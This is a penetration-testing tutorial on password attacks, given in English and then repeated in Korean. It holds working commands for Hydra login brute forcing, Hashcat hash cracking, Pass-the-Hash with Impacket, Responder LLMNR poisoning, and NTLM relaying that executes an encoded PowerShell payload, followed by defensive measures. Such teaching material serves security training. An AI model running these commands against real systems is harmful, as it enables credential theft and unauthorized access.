A Comprehensive Guide to Password Attacks

A Comprehensive Guide to Password Attacks

in

Overview

Password attacks remain one of the most effective ways to gain unauthorized access to systems. Understanding these techniques is important for security professionals to better protect systems and for ethical hackers during penetration testing. This article provides a comprehensive overview of various password attack methods, including network service login attacks, hash cracking, and advanced techniques like Pass-the-Hash and NTLM relaying.

Network Service Login Attacks

Network services that require authentication are common targets for password attacks. Automated tools like Hydra can be used to perform brute force or dictionary attacks against various services.

Using Hydra for SSH Attacks

Hydra is a versatile tool for performing login attacks against various network services. Here’s an example of using Hydra against SSH:

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.201.201

This command attempts to log in as user “george” using passwords from the rockyou.txt wordlist against an SSH server running on port 2222.

Attacking Web Authentication

Hydra can also be used to attack web applications. For HTTP POST form authentication:

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

For HTTP Basic Authentication:

hydra -V -l admin -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-get /

Password Hashing and Cracking

When direct password attacks aren’t possible, attackers often target password hashes. Understanding how to generate, identify, and crack different types of hashes is essential.

Hash Generation

For SHA256:

echo -n "secret" | sha256sum

Hash Identification

Before attempting to crack a hash, it’s important to identify its type. Tools like hash-identifier can be used for this purpose.

KeePass Database Cracking

Password managers like KeePass store credentials in encrypted databases. If an attacker gains access to the .kdbx file, they might attempt to crack it:

  1. Extract the hash:
    keepass2john Database.kdbx > keepass.hash
    
  2. Clean the hash:
    sed 's/^Database://g' keepass.hash > clean.hash
    
  3. Crack with Hashcat:
    hashcat -m 13400 clean.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
    

Windows Password Attacks

Windows systems store password hashes in the SAM (Security Account Manager) database. Various techniques can be used to extract and exploit these hashes.

NTLM Hash Cracking

NTLM (New Technology LAN Manager) is a suite of Microsoft security protocols that includes procedures for authentication, integrity, and confidentiality.

To crack an NTLM hash:

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

Pass-the-Hash allows an attacker to authenticate to a remote server using the underlying NTLM hash of a user’s password without knowing the actual password.

Using SMBClient with NTLM hash:

smbclient \\\\192.168.199.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

For remote code execution, Impacket scripts can be used:

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.199.212

Net-NTLMv2 Attacks

When direct access to NTLM hashes isn’t possible, attackers may target Net-NTLMv2 authentication.

Capturing Net-NTLMv2 Hashes with Responder

Responder is a tool designed to poison responses to LLMNR, NBT-NS, and MDNS requests to capture authentication attempts.

sudo responder -I tun0

When a Windows system attempts to access a non-existent resource, Responder can capture the Net-NTLMv2 hash sent during the authentication attempt:

[SMB] NTLMv2-SSP Client   : 192.168.199.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1059a4b067904e43:EBC54C678752C4EBA2C2288F99AB4D76:0101000000000000...

These hashes can then be cracked using Hashcat:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Relaying Net-NTLMv2 Hashes

Instead of cracking captured Net-NTLMv2 hashes, attackers can relay them to authenticate to other services. This is known as an SMB relay attack.

Using Impacket’s ntlmrelayx:

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.199.212 -c "powershell -e <base64_encoded_payload>"

Defensive Measures

To protect against password attacks:

  1. Implement strong password policies:
    • Minimum length of 12+ characters
    • Mix of uppercase, lowercase, numbers, and special characters
    • Regular password rotation
  2. Use multi-factor authentication (MFA) wherever possible

  3. Limit login attempts and implement account lockout policies

  4. Monitor and log authentication attempts for suspicious activity

  5. Use modern authentication protocols like Kerberos instead of NTLM

  6. Keep systems updated with the latest security patches

  7. Disable LLMNR and NBT-NS when not required to prevent response spoofing

  8. Network segmentation to limit lateral movement after compromise

Conclusion

Password attacks continue to be effective due to weak password practices and legacy authentication protocols. Security professionals should understand these attack vectors to better defend their systems. Always remember that these techniques should only be used for ethical hacking, penetration testing, and security research with proper authorization.

By implementing a comprehensive security strategy that addresses these vulnerabilities, organizations can significantly reduce the risk of successful password attacks and unauthorized access to their systems.

개요

화려한 취약점이 없어도, 비밀번호 공격은 여전히 시스템에 무단으로 들어가는 가장 효과적인 방법 중 하나입니다. 이 기법들을 이해해 두면 보안 담당자는 시스템을 더 단단히 지킬 수 있고, 윤리적 해커는 침투 테스트를 더 잘 해낼 수 있죠. 이 글에서는 네트워크 서비스 로그인 공격, 해시 크래킹, 그리고 Pass-the-Hash, NTLM 릴레이 같은 고급 기법까지 다양한 비밀번호 공격을 두루 살펴보겠습니다.

네트워크 서비스 로그인 공격

인증을 요구하는 네트워크 서비스는 비밀번호 공격의 단골 표적입니다. Hydra 같은 자동화 도구를 쓰면 여러 서비스에 무차별 대입(brute force)이나 사전(dictionary) 공격을 손쉽게 날릴 수 있죠.

Hydra를 이용한 SSH 공격

Hydra는 온갖 네트워크 서비스에 로그인 공격을 퍼붓는 만능 도구입니다. SSH에 쓰는 예시를 볼게요.

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.201.201

이 명령은 2222번 포트에서 도는 SSH 서버에, rockyou.txt 워드리스트의 비밀번호를 하나씩 넣어 가며 “george” 사용자 로그인을 시도합니다.

웹 인증 공격

Hydra는 웹 애플리케이션 공격에도 그대로 써먹을 수 있습니다. HTTP POST 폼 인증이라면 이렇게요.

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

HTTP Basic 인증이라면 이렇게 씁니다.

hydra -V -l admin -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-get /

비밀번호 해싱과 크래킹

로그인을 직접 두드리는 게 막혀 있을 때, 공격자는 흔히 비밀번호 해시로 눈을 돌립니다. 그래서 다양한 해시를 생성, 식별, 크래킹하는 법을 알아 두는 게 필수인데요.

해시 생성

SHA256의 경우:

echo -n "secret" | sha256sum

해시 식별

해시를 크래킹하기 전에 그 종류부터 알아내는 게 중요합니다. 이럴 때 hash-identifier 같은 도구가 요긴하죠.

KeePass 데이터베이스 크래킹

KeePass 같은 비밀번호 관리자는 자격 증명을 암호화된 데이터베이스에 넣어 둡니다. 그래서 공격자가 .kdbx 파일에 손을 대면 이걸 크래킹하려 들 수 있죠.

  1. 해시 추출:
    keepass2john Database.kdbx > keepass.hash
    
  2. 해시 정리:
    sed 's/^Database://g' keepass.hash > clean.hash
    
  3. Hashcat으로 크래킹:
    hashcat -m 13400 clean.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
    

Windows 비밀번호 공격

Windows는 비밀번호 해시를 SAM(Security Account Manager) 데이터베이스에 저장합니다. 이 해시를 뽑아내고 악용하는 데는 여러 기법이 동원되는데요.

NTLM 해시 크래킹

NTLM(New Technology LAN Manager)은 인증, 무결성, 기밀성 절차를 아우르는 마이크로소프트 보안 프로토콜 묶음입니다.

NTLM 해시는 이렇게 크래킹합니다.

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

Pass-the-Hash의 재미있는 점은, 실제 비밀번호를 몰라도 사용자 비밀번호의 NTLM 해시만 있으면 원격 서버에 인증할 수 있다는 겁니다.

NTLM 해시로 SMBClient를 쓰면,

smbclient \\\\192.168.199.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

원격 코드 실행에는 Impacket 스크립트가 제격이죠.

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.199.212

Net-NTLMv2 공격

NTLM 해시에 직접 손댈 수 없다면, 공격자는 Net-NTLMv2 인증으로 방향을 틉니다.

Responder로 Net-NTLMv2 해시 캡처

Responder는 LLMNR, NBT-NS, MDNS 요청에 대한 응답을 오염(poison)시켜 인증 시도를 낚아채도록 만들어진 도구입니다.

sudo responder -I tun0

Windows 시스템이 존재하지도 않는 리소스에 접근하려는 순간, Responder는 그 인증 시도 중에 오가는 Net-NTLMv2 해시를 낚아챕니다.

[SMB] NTLMv2-SSP Client   : 192.168.199.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1059a4b067904e43:EBC54C678752C4EBA2C2288F99AB4D76:0101000000000000...

이렇게 확보한 해시는 다시 Hashcat으로 크래킹하면 됩니다.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Net-NTLMv2 해시 릴레이

낚아챈 Net-NTLMv2 해시를 굳이 크래킹하지 않고, 그대로 다른 서비스로 릴레이해서 인증해 버릴 수도 있습니다. 이걸 SMB 릴레이 공격이라고 부르죠.

Impacket의 ntlmrelayx를 쓰면,

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.199.212 -c "powershell -e <base64_encoded_payload>"

방어책

그럼 이런 비밀번호 공격은 어떻게 막을까요?

  1. 강력한 비밀번호 정책 시행:
    • 최소 12자 이상
    • 대문자, 소문자, 숫자, 특수문자 혼용
    • 주기적인 비밀번호 교체
  2. 가능한 모든 곳에 다중 인증(MFA) 사용

  3. 로그인 시도 제한 및 계정 잠금 정책 구현

  4. 의심스러운 활동을 위해 인증 시도를 모니터링, 로깅

  5. NTLM 대신 Kerberos 같은 현대적 인증 프로토콜 사용

  6. 최신 보안 패치로 시스템을 최신 상태로 유지

  7. 응답 스푸핑을 막기 위해 필요 없을 때 LLMNR과 NBT-NS 비활성화

  8. 침해 이후 측면 이동(lateral movement)을 제한하는 네트워크 분할

마치며

비밀번호 공격은 허술한 비밀번호 습관과 레거시 인증 프로토콜 탓에 지금도 잘 통합니다. 그래서 보안 담당자라면 시스템을 더 잘 지키기 위해 이런 공격 벡터를 이해하고 있어야 하죠. 다만 이 기법들은 반드시 정당한 인가를 받은 윤리적 해킹, 침투 테스트, 보안 연구 목적으로만 써야 한다는 점, 늘 명심하시고요.

이런 취약점을 두루 챙기는 보안 전략을 세워 두면, 조직은 비밀번호 공격과 무단 접근의 위험을 확 낮출 수 있을 겁니다.